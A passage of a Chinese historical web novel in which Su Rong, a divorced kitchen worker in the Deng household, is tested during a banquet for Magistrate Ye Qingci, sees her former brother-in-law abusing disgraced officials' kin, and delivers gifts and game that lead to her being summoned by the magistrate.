张厨娘丢了个眼色给周管事。让其他人继续搬菜,示意苏蓉跟自己和周管事一起,走到一边。
苏蓉苦笑。
“他是青天大老爷,救过我两次命,我怎会不认识他?”
张厨娘和周管事两人闻言,特别诧异。
“你和县令大人还有这种渊源?”
“我姓苏,户籍上清楚写着我名字,你们真不清楚……我是谁吗?我一直以为,你们知道我来历?”
苏蓉故作茫然。
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反正她被休、卷进官司的过往,是邓宅自己不查,不能怨她有所隐瞒。
张厨娘直翻白眼。
“这么多姓苏的,谁知道你什么来历?这跟你认识县令大人,又有什么关联?”
“等等!姓苏……”
周管事抬手阻止张厨娘继续说下去,两眼直盯着苏蓉。
“两个月前,有一桩连环****案,闹得特别轰动!一个无辜的女子被牵连进去,还是刚被夫家休弃的小娘子,好像就姓苏……”
迎着两**睁的眼睛,苏蓉大大方方点头。
“是我。”
周管事倒抽一口凉气。
糟糕!她失职了……
张厨娘失声喊:“你为什么不早说!”
苏蓉眼圈红红:“这种不幸耻辱的经历,没人问,叫我怎么逢人便说?”
两人一想也是,确实不能怪苏蓉。
是她们自己想当然,以为苏蓉立了女户,便是孤女。而且,苏蓉才十七,夫家便以不能生的借口休弃苏蓉,简直畜生!
同为女人,她们不禁有些同情苏蓉的遭遇。
年纪轻轻遭遇这么多事,还能抗住打击,坚强独立的生存下去,不容易!
只是同情归同情,苏蓉的来历,周管事一定要上报给主子的。届时留不留苏蓉继续在邓宅干活,看主子意思。
周管事走后,张厨娘安慰苏蓉:“夫人是仁慈的人,有周姐姐帮你说好话,你应该有很大机会留下来的,别担心。”
苏蓉觉得这位说的像地狱笑话。
刘夫人仁慈?
那也不会在处置桂枝时,下手那么狠!
桂枝虽有虚荣心,但她仅仅是个奴婢。若非邓教谕酒后失德放纵,给桂枝天大胆,她也不敢爬主子床。
罪魁祸首事后完美隐身,不耽误其为人师表。桂枝一个刚及笄的少女,却沦陷风尘,葬送一身。
能不能继续在邓宅做工,苏蓉顺其自然,并不在意。不过张厨娘的好意,她还是笑着感谢了对方。
午间邓教谕邀请叶县令赴宴。
张厨娘把这段小插曲忘到脑后,带领苏蓉、柳枝及临时调来的两个粗使婆子,使劲浑身解数,在厨房忙碌。
第36章 别赶她走
周管事回到主屋。
只见大姐儿邓慧,簇新一身漂亮衣裳,含羞局促坐在梳妆台前,低着头,任由刘夫人带着丫头婆子,围绕她忙碌,为她精心梳妆打扮。
略显青涩的脸,精心描了眉眼,化了淡妆,增添几分娇俏。
刘夫人越看越满意,搂着闺女道:“我的儿,今日你爹宴请县令大人,席间会叫你和弟弟出去,拜见县令大人。你可要好好表现!”
表现什么,所有人心照不宣。
刘夫人一直在为即将及笄的女儿物色合适的夫婿人选,高不成低不就。
自从新任县令叶清辞来到宜阳县,她两眼放光,便盯上了!
年轻有为。身为一方父母官,还是大靖朝承德三十年间的探花郎。曾为翰林编修,深受皇帝爱重。
虽然不知道皇帝为什么会将叶探花调离京师,担任宜阳县县令?
但大家猜测,这是为了让年轻人得到更好锻炼。以便来日回京,有足够资历,名正言顺身居高位。
叶清辞前途无量。
即便不看将来,凭现在的官身,也是邓家高攀的存在。
打听到叶清辞没有家室,没有定亲,甚至后宅连个通房丫头也没有。宜阳县众多乡绅大佬激动了,这简直是浑身镀金发光的天降金龟婿!
邓教谕虽然警告刘夫人别乱来,没搞清楚叶清辞心思时不要上杆子乱贴,触怒县令大人还让自家丢脸。
但事关女儿终身,刘夫人不想理会自家男人那套。
如今县丞、县尉、主簿一干人获罪,通通下马。宜阳县除了她家书香门第,老爷德高望重,还有谁家闺秀比得过她的大姐儿!
邓慧听爹娘说新县令才高八斗、貌比潘安。一颗芳心小鹿般怦怦在胸口乱撞。
能嫁得此如意郎君,成为尊贵的县令夫人,岂不比她娘这教谕夫人还要风光?只是她年岁尚小,身量不足,担心县令大人会看不上她。
不过听着她娘及众人交口夸赞,宜阳县再找不出一个像她这般优秀的小娘子,她又自信起来,抿着唇儿笑。
将下血本买来,一支通体晶莹的雕花玉簪插在邓慧的头上,刘夫人终于结束对女儿的装扮。满意地直起身子,左看右瞧打量。
周管事这才陪着笑上前。
刘夫人心情很好,瞥她一眼:“家里各处都安排妥了吗?厨房那边你多看顾着点,务必要让老爷举办的这次宴会,宾主尽欢。”
即便不能立即促成大姐儿与县令大人的良缘,先让大姐儿给对方留下个好印象,也不错。日后循序渐进接触,总有希望。
至于老爷说的,让县令大人指点琛哥儿学业。刘夫人鄙夷不屑,心头冷笑。**生的贱种子,还想出头?
琛哥儿已经被养废了。就算邓家没落,后继无人,她也不甘心一对妾室母子,骑在自己头上!
只要大姐儿能找到好归宿,其他人关她什么事?
“回禀夫人,一切安排得井井有条。奴婢还吩咐下去,闲杂人等不许在前院走动,以防冲撞了贵客。”
刘夫人听了,满意颔首。
见周管事有点欲言又止的样子,她示意其他丫头婆子出去,屋里只留下她、大姐儿和周管事三人。周管事这才小声把苏蓉的事说了。
刘夫人吃惊不已。
“他们俩竟然相识?这个苏蓉……该不会是在门口故意打翻箩筐,引诱县令大人注意的吧?”
经历后宅太多腌臜事,刘夫人第一反应,往不好方面联想。
“那不至于。”
周管事凭良心直觉说话。
“苏蓉感激县令大人秉公断案,还自己清白。在县令大人心目中,苏蓉也只是自己所辖范围内普通百姓一个。”
“他们仅仅因公事牵扯,绝不可能有儿女私情!”
一个探花郎、现任县令;一个被休、黑瘦农妇。
县令大人除非头壳坏掉,才会看上苏蓉!
说句不好听的话,大姐儿身份地位,都远远配不上这位大人!何况苏蓉?
只因其来了宜阳县,一夜之间众多宜阳官员纷纷**,凸显出邓家,大姐儿才有了这丝渺茫的攀附希望。
周管事不看好主子打算,当然她也绝不会说出口。
听着周管事有理有据的分析,捏紧手帕的邓慧,指头松了下。
“那也不能再留下这个苏蓉!等宴会结束,便把
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她悄悄打发了吧!”
刘夫人皱眉:“一个被休的弃妇,还吃过官司,留在邓宅实在丢人!老爷最好面子,知道了不得怪我用人不当?”
“娘,别赶那个苏蓉走!”
邓慧抬起头,扑闪着大眼睛,显露出不合年龄的世故与算计。
见刘夫人疑问看向她,她微笑着用小指头勾手中绣帕。
“您想啊,县令大人认识她,今日又在咱家见过她,知道她在邓宅做工。若是娘把她赶走,以后县令大人知道,岂不觉得打脸,认为我们没有同情心?”
周管事也是想帮着苏蓉留下。不说别的,单苏蓉帮张厨娘做账,就省了她好大烦心事儿!忙附和。
“夫人,大姐儿聪慧,这实在说得太有道理了!”
刘夫人眉头一蹙,寻思也罢。不过一个雇工而已,没必要这么急着撵出去。
万一如大姐儿所言,县令大人多心,反而不美。利用好这苏氏,说不定还能为自家博得个好名声。
至于苏氏前夫家,听说攀上梅主簿这高枝。如今梅家完了,对方还蹦跶得起来?
宜阳县这块地皮,任谁也越不过县令大人!所以,刘夫人考虑事情,压根没把得罪金家的可能性,放在心上。
周管事目的达成,笑吟吟转身去厨房,告诉张厨娘和苏蓉这个好消息。让两人安心整治宴席,先把县令大人服侍满意再说。
苏蓉感谢周管事照拂。好不容易适应邓宅环境,直系上司好相处。能安安稳稳打工一年,存些银钱便于今后度日,自然不想频繁换东家。
不过打算送兔皮手套给县令大人的,看来得等日后放闲日悄悄送去衙门,以免邓宅人知道疑心。
而且她身世透明化了,不知众人会怎样议论她?
埋头清洗盆中蔬菜,苏蓉心里有点七上八下。
忽然,一名婆子走进厨房传话:“苏蓉!前院人手不够,夫人命你换身干净衣裳,去前院帮忙端茶送水!”
热火朝天的厨房,一下子安静下来,人人错愕的目光,投给苏蓉。
苏蓉自己也惊讶莫名,抬起流淌着水珠的手指,指向自己鼻子。
“我?”
第37章 试探
她不过一外人。
邓宅那么多家生奴婢,用得到她这个外聘的佣工?
柳枝去,也比她合适呀!
周管事和张厨娘对视一眼。周管事站出来,迅速指了个婆子,接手苏蓉的工作。
之前离开正房的时候,夫人和大姐儿没说什么。周管事些许不安的揣测,可能主子临时又想到什么,才会安排苏蓉去前院。
无论试探还是看重,苏蓉过不了这关,后果麻烦!
赶出邓宅,其实只是最轻的惩罚!
轻轻一拍苏蓉肩头,周管事语气意味深长:“苏丫头,小心应对!主子与贵客面前,切记谨言慎行?”
人真是个复杂的动物。
周管事可以眼皮不眨替主子处置桂枝;但对苏蓉,又格外心存两分怜悯。
苏蓉迎着她和张厨娘隐隐担忧的眼睛,感激地欠身施一礼,随后回房换身干净制服,匆匆随传令婆子赶去前院。
一个二十来岁,身穿素色绸衫的女人等在院门口,黑发盘在脑后挽成低髻,带着最简约的银簪子银耳环。
她是刘夫人身边的贴身丫头青蝉,被主子做主嫁给刘管家的儿子。小两口成亲几年没有生育,刘管家一家偶尔对外透露出不满。
但因青蝉一直留在刘夫人身边侍奉,有主子撑腰,刘管家不好说什么。
这些八卦,是苏蓉从张厨娘口中听到的。见青蝉似乎在等自己,她规规矩矩随带路婆子走过去,略弯腰唤了声。
“青蝉姑娘?”
“你就是苏蓉?”
青蝉上下打量她一眼,眼神泄露出隐约不屑。苏蓉进入邓宅两个月,除了放闲日,窝在厨房几乎不走动。青蝉从来不知邓宅有这号人物。
此时见苏蓉皮肤糙又黑,小身板跟搓衣板似的,说是未及笄女孩也有人信。唯一能入目的,大概就剩那双眼睛尚算清澈灵动。
夫人和大姐儿的担心与试探,纯属多余。
“跟我来。”
青蝉冷冰冰转身,领着苏蓉,进入前院。
邓教谕陪叶清辞在厅内坐着闲谈。刘管家带两名小厮,侍候在门口等待随时传唤。傅振环抱双臂,显得百无聊赖,倚靠在屋檐下的廊柱上。
发现青蝉带人进院,“刁民”熟悉的样貌,令得傅振眉头一挑。
才进去个如花似玉的小姑娘,又叫来个大人认识的丫头片子,邓宅意欲何为?
以为无人注意的青蝉,随手从一名婢女手中,接过托盘塞给苏蓉:“现下人手不够,你替我们把这盘果子送进去。”
担心苏蓉不懂礼数冲撞贵客,提醒两句。
“进门后你站在贵客桌前下方,自有人接过果盘去。你再行礼拿着空托盘出来便是!”
苏蓉瞅她一眼。
这时候她若还不明白其中有猫腻,那她真是蠢到家了!
这是试探她和叶县令有多熟悉吗?还是错估她与叶县令的关系,想把她推出去看看叶县有什么反应?
不过结果大约会令这些人失望!
叶县令眼中,她就是需要清白做人、别再给他惹麻烦的小老百姓苏氏。
苏蓉端着托盘,没有丝毫疑问迟疑,迈步进厅。
厅内气氛热烈。
邓教谕高谈阔论,叶清辞含笑聆听,似乎宾主融洽。苏蓉眼角余光,瞄见刘夫人带着大姐儿邓慧、庶子琛哥儿,敬陪末座,笑脸盈盈。
大姐儿作盛装打扮,少许淡妆掩饰脸上青涩。眼里娇羞喜悦藏不住,司马昭之心,昭然欲揭。
苏蓉不敢多看,把托盘径直送到主位桌前。
邓慧起身,亲手从托盘上端起果盘,姿态优雅放在叶清辞面前。尖尖十点豆蔻,映衬肌肤牛奶般乳白。
站在旁边的苏蓉,硬生生被对比成黑泥蛋子。
刘夫人唇角不易察觉地弯了弯,去看叶清辞反应。
“大人,这是庄子上今年新出的樱桃,请您尝尝。”
邓慧声音格外娇柔。
一黑一白,叶清辞想不注意苏蓉都难。但他觉得苏蓉既然在邓宅做工,出现在这场合十分合理。
因此,没什么特别表示。仅仅随便捻了颗樱桃在手。
“好,多谢邓小姐。”
苏蓉静悄悄进门,静悄悄出门,没带走一丝云彩。到了厅外,青蝉过来收走她手中托盘,面无表情。
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“行了,你回厨房继续忙活吧,这里不差人了!”
苏蓉觉得,邓宅人简直有毛病!她开始后悔签了一年的佣工契。回去路上,刚碰见急匆匆赶来的周管事。
周管事见到她,急忙拉住她问:“苏丫头,这就完事了?没出什么意外吧?”
觉得说漏嘴,赶紧往回找补:“我是担心你不懂规矩,不小心冲撞了贵客该怎么办?”
听出她语气里的关心,苏蓉笑道:“没事,周管事放心。她们就叫我送了果盘进去,便说不缺人了让我回厨房!”
周管事松了口气,心知肚明地拍拍她肩。
“那你快回去!张厨娘习惯了你帮她打下手,一个人忙不过来?”
苏蓉只能将此事当作生活中的一段小插曲。回厨房后,迅速投入忙碌的各种杂活中。张厨娘也没问她多余的话。
这一天唯一开心的地方,宴席后撤回好多酒菜,刘夫人吩咐赏给宅邸下人。苏蓉在张厨娘怂恿下,还小小品了一杯酒。
味道含有果脯的甜香及谷物焦香,绵密醇厚,余韵悠长。初尝感觉酒味不够浓,喝多了便有些上头。
据说是秘法研制,用精白糯米为原料,辅以山泉,经三伏九酝之法,封藏陶瓮数年而得。
为请县令,邓家也算下血本了。
不过叶清辞不好酒不好色,加上其身世背景,什么好东西没见过?苏蓉猜测,邓家精心准备的算盘,十有**会落空!
宴会之后,苏蓉又成了邓宅默默无闻的隐形人。扎根厨房,埋头做事。
直到半月后,她的又一天放闲日来临。
苏蓉向张厨娘及周管事告假,揣上那对兔皮手套和钱,从后角门离开邓宅。
来到衙门,担心凭自己身份见不到叶清辞。内心有些惶恐,在门前徘徊。正犹豫着要不要上前请衙役通报,只听门内一阵嘈杂。
抬头望去,两名衙役,将一名青衣妇人,老鹰捉小鸡似拖出门,扔到台阶下。一个粗衣布裳的少女跟出来,急得扑上去抱住脸着地的妇人。
又哭又喊。
“娘!你们凭什么随意**啊?”
第38章 灾难
苏蓉定睛一看,那些衙役里面,竟然有张特别熟悉的脸——
金安福!
她汗毛倒立,立即闪身退到拐角,偷偷张望这一切。
金安福穿着簇新的一身衙役制服,佩有腰刀,手持水火棍。
苏蓉无比惊讶。
梅主簿不是倒台了吗?金家攀高枝失败,为什么金安福还能进入衙门吃公家饭?
难不成叶县令整顿衙门,太多人落马,大换血导致金安福有了机会?
她心情沉重。
若说金竹海暴躁毒辣;这金安福,便是又蠢又坏那种。以金竹海马首是瞻,摇旗呐喊、助纣为虐的小卒。
原身无微不至侍候金家人三年,没有换来金安福半刻感恩。这种人当上衙役,对她,对普通百姓都是灾难!
“打人?”
金安福没有注意到躲藏起来的苏蓉,趾高气扬走到那对母女跟前,狠狠用脚踹了青衣妇人两脚。踢得满脸是血的妇人,蜷缩成一团哼哼。
“你们以为自己还是曾经的主簿夫人、主簿千金吗?”
“县令大人心怀仁慈,没有把你们这些犯官家眷一并收监,你们就该庆幸不已了,还敢擅闯衙门?”
“打人?打你们怎么了?再敢往里瞎跑,打死你们是轻的!”
五根手指使劲捏少女下巴,似欲将对方骨头捏碎,金安福眼冒凶光。
“梅玉儿,你往常不是很高傲吗?和你娘一样,眼睛长在头顶上!我不过随大哥去了趟你家,你们就当面训斥我没规矩,让我大哥好生教我。”
“咋的?你也有这么没规矩的时候,要让我来教教你?”
金安福使劲用巴掌拍打梅玉儿的脸。梅玉儿羞愤交加,泪流满面只知呜咽挣扎。
青衣妇人抖索着去抓他的袖子:“金二爷,以前是我们错了!求你,念在我们两家有过交情的份上,你大哥……”
“闭嘴!”
金安福凶相毕露。
“我大哥已向你女儿退亲,你梅家还想赖上我金家?滚,赶紧滚!再来衙门多作纠缠,梅老儿在牢里,可得多遭些罪!”
“安福!”
鲁班头从衙门里走出来,见金安福越说越不像,皱眉呼唤一声。
金安福立即丢下梅家母女迎向对方,马上换了副谄媚的嘴脸。
“鲁哥,这对梅家母女实在太不识趣了!”
“三天两头来衙门喊冤,甚至趁我们不防,往里便溜,口口声声要见大人。不狠狠教训她们一下,还以为是从前的主簿夫人主簿小姐呢?”
“大人不会见她们!罪证确凿的案子,只等上面批示的公文一下……”
鲁班头望眼相互搀扶离开的梅家母女背影,冷笑。
“你小子也是,收敛点!我受你大哥托付,好不容易把你弄进衙门当差役。你小子可别生事连累我?”
“哪能呢!”
金安福满脸灿烂,乐呵呵地溜须拍马:“大哥说了,叫我在衙门一切听鲁哥的。鲁哥说向东,我绝不向西!”
苏蓉捂住自己嘴巴,小心踮着脚往后退。
直到看不见衙门,听不到那两人说话声音,方才默默垮下双肩,吐出一口气。
真是特别不好的消息,金安福竟然钻营进衙门了!不知县令大人是否清楚,自己衙门,漏成了筛子?
梅家算是害死原身的元凶之一。不杀伯仁,伯仁因之而死。她没打算报复梅家母女,但也不同情她们。
梅主簿一干贪官污吏,干那么多伤天害理的事,他们的家人享受他们带回的好处,那么有朝一日清算因果,自然该承担属于自己的一份罪孽!
就是金家势力目前又有所增长,对她以后在宜阳县立足比较影响。
抱紧怀里的小包袱,苏蓉犹豫,是否要送出兔皮手套?如果被金安福撞见,多半她会和梅家母女一样,遭受当场羞辱。
更危险的是,重新进入金家视野范围内,谁知道疯狂变态的金家人,会对她做什么?
感恩叶县令,心里念叨下就行了。兔皮手套还是她自己留着吧!
苏蓉转身欲走,一回头,差点撞上一个人坚硬的胸膛。
捂着鼻子抬头一看,她脑袋“嗡”的一声,当即大了!
一名青年男子左手托着翠绿荷叶包的烧鸡,右手按住腰间剑柄,低头瞅着她。两只冷冰冰的眸子,隐藏危险。
苏蓉认得此人,是叶清辞身边的亲卫傅振。她牵扯官司受审时,对方在公堂;邓宅宴请叶清辞时,对方也紧随叶清辞左右。
傅振出现得无声无息。
她方才偷窥金安福等人多久,对方大概就在她身后,站了多久。
苏蓉本能退后两步。
傅振逼近一步。扬眉,语含警惕与讥讽:“苏氏,你在这里做什么?”
衙门附近……
莫不是在打探大人行踪?
哼,形形色色的人他见多了!苏蓉眼中闪过的慌乱和心虚,瞒不过他的眼睛。
苏蓉不知道他听没听见金安福等人的对话,看见那些人的作为?
但傅振用质疑的眼神盯着她。她便知道,无论对方对金安福等人看法如何,现在她需要先解释清楚,自己为何鬼鬼祟祟躲在衙门外?
脑子一转,颤巍巍从包袱里拿出那双厚实的兔皮手套,送到傅振面前。
“傅、傅爷,民女感激叶青天秉公执法,前后救了民女两次!这副手套,是民女特地花费一个多月功夫制作好的,烦请您带给他,表民女谢意?”
傅振闻言,看看眼前的手套,右手下意识松开剑柄。
苏蓉歉意地道:“衙门守卫森严,民女不敢随意靠近,故而在此徘徊。傅爷,请您帮忙转交?”
说着,将手套往傅振怀里一送,也不管傅振满脸大写的“拒绝”,转头迅速跑开了。
“哎,你……”
傅振想叫住她,手套掉地上。等他弯腰拾起,苏蓉早消失在茫茫人流里。
提着兔皮手套,傅振嘴里喃喃咕哝:“奇了怪了!常见女孩子送大人香囊荷包,头一回见送臭烘烘皮手衣的?”
那兔皮没鞣制晒好,可不是多大股臊味。
但仔细打量,手套十根手指只有半截,还设计有精巧的暗扣,没见过倒是有些稀奇。
翻来覆去检查里面没有夹带东西,也没有撒毒粉之类,傅振略一踌躇,拎着兔皮手套回了衙门。
第39章 努力活下去
终于成功“送出”兔皮手套,苏蓉心情大好!
一边幻想叶大人戴上她亲手制作的兔皮手套办公,一边哼着歌,跑去集市买米买面粉买肉。
还得赶回丰定村给方婆婆祖孙送粮呢,顺便让豆子兵帮忙打点野味。小金库又能有一笔进账!
一路颠簸着回了村,屁股被骡车坚硬的车板抖得生疼,苏蓉吃力地背着一背篓东西,努力大步走在乡间小路上。
初夏的阳光,耀眼刺目,烤得人浑身出汗珠子。苏蓉瞄一眼田间劳作的村民,个个明里暗里在朝她打量。
终于,有给自家男人送水到地头的几位婶子,拦上来。用斗笠呼呼给自己送凉风,同时笑嘻嘻打招呼。
“苏氏……你是被金家休掉的那个小媳妇,对不对?”
“老远瞧着就像你!”
“苏氏,听说青天大老爷为你雪冤后,你就留在了县城?在城里做什么呀?日子好不好过……”
“那还能不好过!你们瞧瞧她,身上穿的衣裳是棉质,棉质咧!连个补丁也没有?”
各种羡慕嫉妒恨。
有人自来熟地拉扯苏蓉的衣角,展示她衣裳给大家看。苏蓉几次想突围而去,都被人“热情”地拽回来,继续问长道短。
苏蓉面无表情。
直到有人欲翻她箩筐,绷不住爆发:“等你们被夫家休掉,再被众人冤枉杀人,说不准便能像现在的我一样,混出息了!”
此言一出,立即遭到几位婶子群起指责。
“这丫头咋说话呢!我们也是好意关心你,你竟然张口诅咒我们……”
“没教养!”
“难怪会被休……”
苏蓉冷笑。
当初周赖子的死,蒲里正和金家扭送她去衙门,这些村妇村夫可没少落井下石,瞎附和!
人情冷暖,世之常情。
但若是既要又要,舞到她面前充热心肠的人,别怪她嘴上不饶人!
眼见围堵的肉墙出现一道裂口,她径直甩开一群长舌妇人,朝方婆婆家走去。身后讥嘲,当滚滚灰尘。
方婆婆搬条小板凳,坐在院子里晒采集来的野菜。方小兰蹲在她脚边,认真清理野菜上的泥土。
忙活一会,方婆婆忍不住抬头向院外望去。
自从苏蓉上一回来家过,知道苏蓉的放闲日大约是这几日,她就有意晚一点带孙女上山,以防错过。
有苏蓉援助,方婆婆家如今日子好过多了。祖孙俩手脚增添几分力气,皮包骨头的身体,也长了点肉肉,看上去没那么吓人。
眼瞅过了巳时,猜想今日苏蓉又不会回来,方婆婆失望地收拾背篓工具,准备带孙女上山。
蓦地,只听小兰一声欢呼,蹦起来直冲院外。
方婆婆心头一跳回过头。果然见到笑脸盈盈的苏蓉,背着大背篓,快步朝她们这边走来。
那温婉的眉眼,阳光下无比明媚。
方婆婆迷糊感觉,自己早逝的女儿,仿佛又回来了。
“方婆婆!”
苏蓉近前唤一声。
方婆婆回过神来,浑浊的老眼里,悄然泛起泪花。低头看向粘在苏蓉身边的孙女,眨眨眼睛笑道:“妮儿,回来啦,吃早饭没?锅里热着馍!”
这几天猜想苏蓉会来,她特地每天多做一个人的饭,温在锅里。到了晚上不见人,祖孙俩再当做晚饭吃掉。
“吃过了!方婆婆您不用忙,我回来看看你们,很快要走的?”
苏蓉放下背篓,抱起方小兰在手里掂掂。察觉这孩子似乎增重了,心里高兴。
她就怕自己送了粮过来,祖孙俩仍是不舍得吃,那可辜负她的心意了!
方婆婆帮她把沉甸甸的背篓拿进屋,嗔道:“又送这么多东西来!妮儿你上回拿的,我们祖孙还没吃完?好不容易挣来的工钱,你该攒着买房!”
下人有那么好当的?一不小心,命就没了。
有钱人弄死个把穷人,如同捏死只蚂蚁,别说下人。她很为苏蓉将来担忧。
她能做的,就是尽力过好日子,活下去。将来某天,这个贫寒的家,或许能成为苏蓉的退路?
“方婆婆你不用担心我,我心里有数呢!现在在邓宅,包吃包住,工钱能全部存下,偶尔还有赏钱?”
苏蓉跟方小兰亲密一阵,方才放下方小兰,笑着道:“用不了多久,我便能接您和小兰一起进城了!”
见祖孙俩惊讶的神色,她把自己打算大概说了下。
她是女户,一个人住有诸多风险不便。接祖孙俩同住,可以抱团取暖。她养方婆婆老,方小兰小。而祖孙俩在,能照顾她,互惠互利。
方婆婆听得十分动心。
她明白苏蓉的意思,是提议干脆三人组建出一个新的家庭。对她们祖孙而言,自然是天大好事!
可这样一来,意味着苏蓉更难再嫁。谁愿意接受带两个拖油瓶、还被休弃过的女子为妻?
苏蓉如此打算,分明想孤独终老了!
她不能只顾自己祖孙,害苏蓉一辈子。
想清楚后方婆婆直摇头。
“妮儿,不是方婆婆不识好歹,方婆婆知道你心善!只是,你还年轻,完全可以找个人再嫁!拖着我们祖孙这对累赘,算什么?”
“方婆婆……”
方婆婆双手乱摇:“妮儿,你难得回来一趟,就别说这些了。来,这里有包晒干的野菊薄荷叶,你拿回去泡水喝,能够提神醒脑!”
这是她所知药草范围内,最有效的搭配了。
苏蓉无奈,只能以后有机会再劝。接过药草包,把带来的粮,一样样从背篓拿出来。
方婆婆看得惴惴不安。
“你这是花了多少钱?妮儿,你上回偷偷送来的粮食,我们祖孙还没吃完……”
她握紧苏蓉的手:“下回千万别这样了,啊?”
欠苏蓉的,越来越多,怕下辈子也还不清!
苏蓉感受着方婆婆手指带来的力道,没做声。
这个无亲无故的世界,她总要给自己找点念想吧?努力活下去,才有意义。
回城前,照旧召唤豆子兵狩猎一对野鸡一只野兔,绑好塞在背篓里。等车到县城,想去找老买主,一个蹲在墙根守候她已久的人,站了起来。
“苏氏!”
苏蓉惊得浑身一抖,慢慢回头望去,原来是傅振!
虽不知对方找自己有什么事,但莫名松了口气。
不管怎样,叶清辞身边的人,比某些小人恶人好应付得多。
第40章 大人就好这口
“看见我,你那么害怕做什么?做贼心虚?”
傅振将苏蓉的反应尽收眼底。职业性的敏感,令他不由讥刺了苏蓉两句。
苏蓉不知道对方为什么会一开始看自己就不顺眼的样子,讪笑。
“傅爷,您是县令大人身边的人啊!官字头下两张口,我们普通百姓,看见你们害怕,不是很正常吗?”
“什么话都敢说,我倒没看出来你哪里害怕了!”
傅振嗤笑,瞅她一眼。
“那我再说下面的话你可要站稳了,别害怕地倒下?”
清了清喉咙。
“大人要见你!”
苏蓉双腿一软。
脑子急速运转,赶紧寻思自己最近干的事,是不是有哪里违法犯法?
匆忙反省一遍自身后。
没有啊!难不成是金家那群浑蛋,又跑去县令大人那里诬告她了?
瞧着苏蓉脸上精彩纷呈的表情,傅振忍俊不禁,“嗤”的一声乐了出来!
“行了,别瞎想!跟我回衙门吧,大人要见你,兴许是好事?”
苏蓉苦着脸,只能跟在他身后。
去衙门还能有什么好事!
老话常道:衙门八字朝南开,有理无钱莫进来!她去过一趟,差点死了;这回再去,能竖着出来吗?
早知道就不送那双兔皮手套,让叶县令把她从脑后又拎到眼前,提上议事日程。
不过她又萌生一线希望:叶县令会不会专门为感谢她送手套,才要见她,打算赏她呢?
县令大人,没这么闲这么无聊吧?
傅振走几步回头,扫视蜗牛般跟在身后小碎步挪脚的女子。有种感觉只要自己一个错眼,对方就会趁机溜掉!
他浓眉紧蹙。
别的女人一听他家大人有请,眉开眼笑脚步生风。这叫苏蓉的女子,莫不是蹲过牢房被吓出毛病,从而对大人有了阴影?
不应该啊,自家大人还为她平反昭雪,太不知好歹了!
他转身走向苏蓉。苏蓉没来得及反应过来,身上一轻,大背篓到了对方手里。
“我帮你拿吧,看你走得这样慢!”
傅振嫌弃地说,察觉背篓重量,似乎还有活物在里面扑腾。筐上面的几把野菜滚落在地,他顺带往筐里瞄一眼,顿时愣住。
“这是野鸡野兔?你回村捉的?”
没看出来啊,这身板瘦小的女子,还有这等本事!
他以前也常随大人去野外狩猎。射死一堆野物容易,想活捉它们,实在太难了。
苏蓉慌手慌脚把野菜捡起来,往背篓里放。傅振连忙拦住她。
“别把烂菜叶子往里塞!野物被闷死了,吃着就不鲜了。你这野物打算卖,还是送回邓宅的?”
他以为苏蓉费心费力弄来野物,想拿回去讨好自己的东家,不免觉得有些可惜。
“卖……”
又不是头壳坏掉了,送好东西给邓宅!她去邓宅是为挣钱,不是送钱。
傅振眼睛一亮。
“既然是卖,那你想必还没找到买家?卖谁不是卖,那就干脆卖给我吧!”
别的他不在意。但若有美食……
见了实在挪不开眼!
苏蓉张着嘴,面前浑似变了个人的傅振,令她有点反应不过来。
“多少钱?”
傅振把背篓拎得高高的,一副生怕苏蓉反悔抢回去的模样。
苏蓉无语地望眼背篓,又瞧瞧面前的男人。
“野鸡三百文一只,野兔二百文一只。因为是活的,很难捕捉,所以贵。我卖给其他馆子,也是这个价……”
担心傅振觉得她奸商,她唠叨解释。
傅振不耐烦听她废话,直接掏出一两银子交给她。
“多余的赏你了!下回再捉到活野物,给我送过来。”
担心苏蓉不送,转转眼珠把叶清辞拖下水:“我家大人,就好这一口!”
衙门里面,伏案奋笔疾书的叶清辞,笔尖一抖,没有任何征兆地打了个响亮喷嚏。
苏蓉信了,手里捏着一两银子,心花朵朵开。卖谁不是卖?卖给叶清辞和傅振,还能多得赏钱!
要不是怕被怀疑,她能从早到晚不带歇地召唤铜甲兵去捉野物,转眼就能发家致富!可惜……
没办法这样干。
傅振此刻瞅苏蓉顺眼多了。接下来回衙门的路途,如同找到了志同道合的小伙伴,不停与苏蓉研讨如何设陷阱、下套子捉野物。
可怜苏蓉把前世贴吧看来的一点相关狩猎知识,搜肠刮肚倒干净给傅振。庆幸勉强能糊弄住对方,还让傅振认为她确实懂行。
之前苏蓉磨磨蹭蹭不想去衙门,现在恨不得一步跨进衙门见到叶县令,把傅振甩在脑后。
真是的,不久前那个高冷范儿嘴巴毒行动傲娇的臭屁傅振,上哪儿去了?
最后总算来到衙门。
傅振将苏蓉从后门带进去,指给她一条路:“顺这条道朝里,进入三堂也就是县署后宅。大人在正屋办公,你自己去吧!”
说罢,提出两只野鸡一只野兔,背篓还给苏蓉,喜滋滋自管往厨房去了。
这么鲜活的野物,当然得紧盯厨房好好给他收拾啊!
苏蓉目送对方背影,无语吐槽。
不久前还质疑她,心怀不轨妄图窥探县令大人行踪。结果刚有了野鸡野兔,转头便将县令大人忘在脑后!这种人如此好收买吗?
没办法,她只能背上背篓,三步一观察,摸索着走去找叶清辞。
刚跨进一道垂花门,一条黑影在眼前闪过,斥喝在耳边炸响:“未经允许,何人敢擅闯內宅!”
猝不及防,苏蓉吓得浑身一哆嗦!
定睛细看,只见一名和傅振差不多装束的年轻男子,按剑立在距己几步远的地方,双目炯炯。
那架势一言不合,苏蓉毫不怀疑对方会出剑削掉她脑袋。
苏蓉内心把傅振骂了千百遍,木立原地,不敢稍动。结结巴巴道:“是、是傅爷让我来的……他说县令大人要见我?”
“傅振?”
年轻男子疑问。
“对对对!”
苏蓉赶忙答应。
年轻男子眉头轻蹙,神情略为缓和:“你在这里止步,待我通禀大人!”
说完,转身径直入内。
一天被吓三次的苏蓉,魂不守舍地抬头望天色,默默用手按自己怦怦狂跳的心脏部位。
不行,她这容易紧张的毛病得改!又没做贼心什么虚?
只是回去晚了,怕邓宅人有所察觉,平添麻烦。唉,还不知叶县令找她来究竟为何事,是好是歹?
片刻,年轻男子出来。神态宽和,面含一抹礼貌微笑。
“苏娘子,里面请——大人在正屋相候!”
第41章 有功当奖
苏蓉小心道声谢,轻手轻脚,走上台阶。
脑后听到一声风响,她急忙回头。只见那年轻男子,飞身掠上一株大树,隐身在枝叶茂密的树梢间。
敢情方才就是从那里跳下来,吓到她的!
苏蓉不敢冒冒失失直接进屋,站在门口,放大声音说了句:“民女苏氏,拜见大人!”
听到里面叶清辞温润的声音回答:“进来!”
她才小心翼翼推开虚掩的两道房门,走进屋去。
